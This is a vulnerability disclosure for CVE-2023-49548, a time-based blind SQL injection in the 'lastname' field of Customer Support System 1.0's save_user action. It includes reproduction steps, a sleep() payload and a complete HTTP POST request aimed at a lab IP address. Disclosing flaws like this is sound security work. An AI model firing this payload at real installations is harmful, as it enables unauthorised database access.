CVE-2023-49548

Customer Support System 1.0 - SQL Injection Vulnerability in the "lastname" Parameter During "save_user" Operation

Description: A SQL Injection vulnerability exists in version 1 of the Customer Support System. A malicious attacker can issue SQL commands to the MySQL database when creating/editing a user through the vulnerable parameter 'lastname'.

Vulnerable Product Version: Customer Support System 1.0
CVE Author: Geraldo Alcântara
Date: 28/11/2023
Confirmed on: 19/12/2023
CVE: CVE-2023-49548
Tested on: Windows

Steps to reproduce:

1- Log in to the application.
2- Click on your user image and select "Manage Account."
3- Insert the malicious payload into the "lastname" parameter. payload: '%20and%20(select*from(select(sleep(20)))a)--%20

Request:

POST /customer_support/ajax.php?action=save_user HTTP/1.1
Host: 192.168.68.182
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 144
Origin: http://192.168.68.182
Connection: close
Referer: http://192.168.68.182/customer_support/index.php?page=department_list
Cookie: PHPSESSID=arlocktakq815fq1lpm5fjml9n

id=1&table=users&firstname=Administrator&middlename=teste&lastname='%20and%20(select*from(select(sleep(5)))a)--%20&username=admin&password=admin